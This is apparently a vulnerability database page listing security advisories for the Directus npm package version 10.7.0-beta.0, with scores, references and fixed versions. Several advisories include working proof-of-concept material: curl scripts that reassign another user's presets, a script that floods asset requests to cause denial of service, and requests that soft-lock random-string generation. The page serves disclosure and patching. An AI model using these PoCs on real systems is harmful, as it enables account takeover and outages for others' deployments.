Lookup for vulnerable packages by Package URL.

Purlpkg:npm/directus@10.7.0-beta.0
Typenpm
Namespace
Namedirectus
Version10.7.0-beta.0
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version11.17.0
Latest_non_vulnerable_version11.17.0
Affected_by_vulnerabilities
0
url VCID-177p-63us-jkhh
vulnerability_id VCID-177p-63us-jkhh
summary
Directus is vulnerable to sensitive data exposure as user data is not being redacted when logged
### Summary

When using Directus Flows to handle CRUD events for users it is possible to log the incoming data to console using the "Log to Console" operation and a template string. 

### Impact

Malicious admins can log sensitive data from other users when they are created or updated.

### Workarounds
Avoid logging sensitive data to the console outside the context of development.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53885
reference_id
reference_type
scores
0
value 0.00109
scoring_system epss
scoring_elements 0.28871
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53885
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:27Z/
url https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5
3
reference_url https://github.com/directus/directus/pull/25355
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:27Z/
url https://github.com/directus/directus/pull/25355
4
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:27Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-x3vm-88hf-gpxp
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:27Z/
url https://github.com/directus/directus/security/advisories/GHSA-x3vm-88hf-gpxp
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53885
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53885
7
reference_url https://github.com/advisories/GHSA-x3vm-88hf-gpxp
reference_id GHSA-x3vm-88hf-gpxp
reference_type
scores
url https://github.com/advisories/GHSA-x3vm-88hf-gpxp
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53885, GHSA-x3vm-88hf-gpxp
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-177p-63us-jkhh
1
url VCID-1xcr-rv9q-9kaz
vulnerability_id VCID-1xcr-rv9q-9kaz
summary
Directus: TUS Upload Authorization Bypass Allows Arbitrary File Overwrite
## Summary

Directus' TUS resumable upload endpoint (`/files/tus`) allows any authenticated user with basic file upload permissions to overwrite arbitrary existing files by UUID. The TUS controller performs only collection-level authorization checks, verifying the user has some permission on `directus_files`, but never validates item-level access to the specific file being replaced. As a result, row-level permission rules (e.g., "users can only update their own files") are completely bypassed via the TUS path while being correctly enforced on the standard REST upload path.

## Impact

- **Arbitrary file overwrite:** Any authenticated user with basic TUS upload permissions can overwrite any file in `directus_files` by UUID, regardless of row-level permission rules.
- **Permanent data loss:** The victim file's original stored bytes are deleted from storage and replaced with attacker-controlled content.
- **Metadata corruption:** The victim file's database record is updated with the attacker's filename, type, and size metadata.
Privilege escalation potential: If admin-owned files (e.g., application assets, templates) are stored in `directus_files`, a low-privilege user could replace them with malicious content.

## Workaround

Disable TUS uploads by setting `TUS_ENABLED=false` if resumable uploads are not required.

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35412
reference_id
reference_type
scores
0
value 0.00013
scoring_system epss
scoring_elements 0.02543
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35412
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-qqmv-5p3g-px89
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T16:23:08Z/
url https://github.com/directus/directus/security/advisories/GHSA-qqmv-5p3g-px89
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35412
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35412
4
reference_url https://github.com/advisories/GHSA-qqmv-5p3g-px89
reference_id GHSA-qqmv-5p3g-px89
reference_type
scores
url https://github.com/advisories/GHSA-qqmv-5p3g-px89
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35412, GHSA-qqmv-5p3g-px89
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-1xcr-rv9q-9kaz
2
url VCID-28xp-kp38-8kem
vulnerability_id VCID-28xp-kp38-8kem
summary
Directus is soft-locked by providing a string value to random string util
### Describe the Bug

Providing a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.

### To Reproduce

1. Test if the endpoint is working and accessible, `GET http://localhost:8055/utils/random/string`
2. Do a bad request `GET http://localhost:8055/utils/random/string?length=foo`
3. After this all calls to `GET http://localhost:8055/utils/random/string` will return an empty string instead of a random string
4. In this error situation you'll see authentication refreshes fail for the app and api.

### Impact

This counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-36128
reference_id
reference_type
scores
0
value 0.00353
scoring_system epss
scoring_elements 0.57876
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-36128
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/7d2a1392f43613094de700062aba168a9400dd3b
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-06-03T15:30:27Z/
url https://github.com/directus/directus/commit/7d2a1392f43613094de700062aba168a9400dd3b
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-632p-p495-25m5
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-06-03T15:30:27Z/
url https://github.com/directus/directus/security/advisories/GHSA-632p-p495-25m5
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-36128
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-36128
5
reference_url https://github.com/advisories/GHSA-632p-p495-25m5
reference_id GHSA-632p-p495-25m5
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-632p-p495-25m5
fixed_packages
0
url pkg:npm/directus@10.11.2
purl pkg:npm/directus@10.11.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hc2-7tsc-nka1
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4v6n-unvz-wff3
7
vulnerability VCID-4x1w-8bx4-rqf9
8
vulnerability VCID-547q-d837-dfcz
9
vulnerability VCID-662k-n18g-mybg
10
vulnerability VCID-6ggp-xn4c-gya3
11
vulnerability VCID-6mr6-u3vk-sygm
12
vulnerability VCID-88w3-rw8u-rqea
13
vulnerability VCID-95tn-g8wd-63hq
14
vulnerability VCID-a75s-xyu6-wbcw
15
vulnerability VCID-a9tr-a8r5-57en
16
vulnerability VCID-bwww-3wep-2ydf
17
vulnerability VCID-dy98-51bk-p3fk
18
vulnerability VCID-exwx-sqry-c3gc
19
vulnerability VCID-gnzq-q9g9-m3a4
20
vulnerability VCID-hv63-3zhy-dyae
21
vulnerability VCID-j711-a6gm-b7hr
22
vulnerability VCID-kugb-dwxd-6fhe
23
vulnerability VCID-mk5k-pf2s-mfe9
24
vulnerability VCID-n7g1-hmy7-j7g9
25
vulnerability VCID-n9br-39bb-7ugt
26
vulnerability VCID-rq5y-ee4h-gkff
27
vulnerability VCID-szpk-4g6r-f3e6
28
vulnerability VCID-trbn-m8sj-ffa4
29
vulnerability VCID-uft7-5e9d-dqh8
30
vulnerability VCID-vt3b-2dr3-aka2
31
vulnerability VCID-wcaq-4zzz-qfb7
32
vulnerability VCID-wx6m-6dac-xqaj
33
vulnerability VCID-ycj2-8tqq-jyag
34
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.11.2
aliases CVE-2024-36128, GHSA-632p-p495-25m5
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-28xp-kp38-8kem
3
url VCID-2hc2-7tsc-nka1
vulnerability_id VCID-2hc2-7tsc-nka1
summary
Directus has an insecure object reference via PATH presets
### Impact
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. When chained with [CVE-2024-6533](https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw), it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request.

### PoC
To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

1. Create a preset for a collection.

Store the preset id, or use it if it already exists from `GET /presets`. The following example will use the direct_users preset.

```bash
TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
```

2. Modify the presets via `PATCH /presets/{id}`.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from `GET /users`. The following example modifies the title parameter.

```bash
curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
```

Notes:

Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-6534
reference_id
reference_type
scores
0
value 0.00058
scoring_system epss
scoring_elements 0.183
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-6534
1
reference_url https://directus.io
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://directus.io
2
reference_url https://fluidattacks.com/advisories/capaldi
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-15T14:09:09Z/
url https://fluidattacks.com/advisories/capaldi
3
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-6534
6
reference_url https://directus.io/
reference_id directus.io
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-15T14:09:09Z/
url https://directus.io/
7
reference_url https://github.com/advisories/GHSA-3fff-gqw3-vj86
reference_id GHSA-3fff-gqw3-vj86
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-3fff-gqw3-vj86
fixed_packages
0
url pkg:npm/directus@10.13.2
purl pkg:npm/directus@10.13.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4v6n-unvz-wff3
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-547q-d837-dfcz
7
vulnerability VCID-662k-n18g-mybg
8
vulnerability VCID-6ggp-xn4c-gya3
9
vulnerability VCID-6mr6-u3vk-sygm
10
vulnerability VCID-88w3-rw8u-rqea
11
vulnerability VCID-a75s-xyu6-wbcw
12
vulnerability VCID-a9tr-a8r5-57en
13
vulnerability VCID-bwww-3wep-2ydf
14
vulnerability VCID-dy98-51bk-p3fk
15
vulnerability VCID-exwx-sqry-c3gc
16
vulnerability VCID-gnzq-q9g9-m3a4
17
vulnerability VCID-hv63-3zhy-dyae
18
vulnerability VCID-j711-a6gm-b7hr
19
vulnerability VCID-kugb-dwxd-6fhe
20
vulnerability VCID-mk5k-pf2s-mfe9
21
vulnerability VCID-n7g1-hmy7-j7g9
22
vulnerability VCID-n9br-39bb-7ugt
23
vulnerability VCID-rq5y-ee4h-gkff
24
vulnerability VCID-szpk-4g6r-f3e6
25
vulnerability VCID-trbn-m8sj-ffa4
26
vulnerability VCID-uft7-5e9d-dqh8
27
vulnerability VCID-vt3b-2dr3-aka2
28
vulnerability VCID-wcaq-4zzz-qfb7
29
vulnerability VCID-wx6m-6dac-xqaj
30
vulnerability VCID-ycj2-8tqq-jyag
31
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.2
aliases CVE-2024-6534, GHSA-3fff-gqw3-vj86
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2hc2-7tsc-nka1
4
url VCID-2hv8-fgdr-hugf
vulnerability_id VCID-2hv8-fgdr-hugf
summary
Directus's S3 assets become unavailable after a burst of malformed transformations
### Summary
When making many malformed transformation requests at once, at some point, all assets are being served as 403.

### Details
When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.

After looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz`

The [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.

### PoC
This can be easily reproduced with the following steps:
- setup AWS S3 storage
- set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)
- upload a file to your project
- run this file (Replace the the file ID with the one you just uploaded):
```ts
import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("â›”", e.response?.status || e.code || e.message)
      );
  });
}

start();
```

Here's an example:



https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c





### Impact
This causes denial of assets for all policies of Directus, including Admin and Public.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-30225
reference_id
reference_type
scores
0
value 0.00271
scoring_system epss
scoring_elements 0.50713
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-30225
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-26T17:09:52Z/
url https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-30225
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-30225
4
reference_url https://github.com/advisories/GHSA-j8xj-7jff-46mx
reference_id GHSA-j8xj-7jff-46mx
reference_type
scores
url https://github.com/advisories/GHSA-j8xj-7jff-46mx
fixed_packages
0
url pkg:npm/directus@11.5.0
purl pkg:npm/directus@11.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2uz6-wjn7-kug4
3
vulnerability VCID-4x1w-8bx4-rqf9
4
vulnerability VCID-662k-n18g-mybg
5
vulnerability VCID-6ggp-xn4c-gya3
6
vulnerability VCID-6mr6-u3vk-sygm
7
vulnerability VCID-88w3-rw8u-rqea
8
vulnerability VCID-bwww-3wep-2ydf
9
vulnerability VCID-dy98-51bk-p3fk
10
vulnerability VCID-exwx-sqry-c3gc
11
vulnerability VCID-hv63-3zhy-dyae
12
vulnerability VCID-kugb-dwxd-6fhe
13
vulnerability VCID-mk5k-pf2s-mfe9
14
vulnerability VCID-n7g1-hmy7-j7g9
15
vulnerability VCID-n9br-39bb-7ugt
16
vulnerability VCID-rq5y-ee4h-gkff
17
vulnerability VCID-trbn-m8sj-ffa4
18
vulnerability VCID-vt3b-2dr3-aka2
19
vulnerability VCID-wcaq-4zzz-qfb7
20
vulnerability VCID-ycj2-8tqq-jyag
21
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.5.0
aliases CVE-2025-30225, GHSA-j8xj-7jff-46mx
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2hv8-fgdr-hugf
5
url VCID-2uz6-wjn7-kug4
vulnerability_id VCID-2uz6-wjn7-kug4
summary
Directus has open redirect in SAML
## Security Advisory: Open Redirect in Directus SAML Authentication

### Summary

An open redirect vulnerability exists in the Directus SAML authentication callback endpoint. The `RelayState` parameter is used in redirects without proper validation against an allowlist of permitted domains.

### Vulnerability Description

During SAML authentication, the `RelayState` parameter is intended to preserve the user's original destination. However, while the login initiation flow validates redirect targets against allowed domains, this validation is not applied to the callback endpoint. This allows an attacker to craft a malicious authentication request that redirects users to an arbitrary external URL upon completion.

The vulnerability is present in both the success and error handling paths of the callback.

### Impact

- **Phishing**: Users can be redirected to attacker-controlled sites that mimic legitimate login pages
- **Credential theft**: Chained attacks may leverage the redirect to capture OAuth tokens or authorization codes
- **Trust erosion**: Users may lose confidence in the application's security posture

This vulnerability can be exploited without authentication.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-22032
reference_id
reference_type
scores
0
value 0.00087
scoring_system epss
scoring_elements 0.25009
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-22032
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/dad9576ea9362905cc4de8028d3877caff36dc23
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-08T14:48:13Z/
url https://github.com/directus/directus/commit/dad9576ea9362905cc4de8028d3877caff36dc23
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-3573-4c68-g8cc
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-08T14:48:13Z/
url https://github.com/directus/directus/security/advisories/GHSA-3573-4c68-g8cc
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-22032
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-22032
5
reference_url https://github.com/advisories/GHSA-3573-4c68-g8cc
reference_id GHSA-3573-4c68-g8cc
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-3573-4c68-g8cc
fixed_packages
0
url pkg:npm/directus@11.14.0
purl pkg:npm/directus@11.14.0
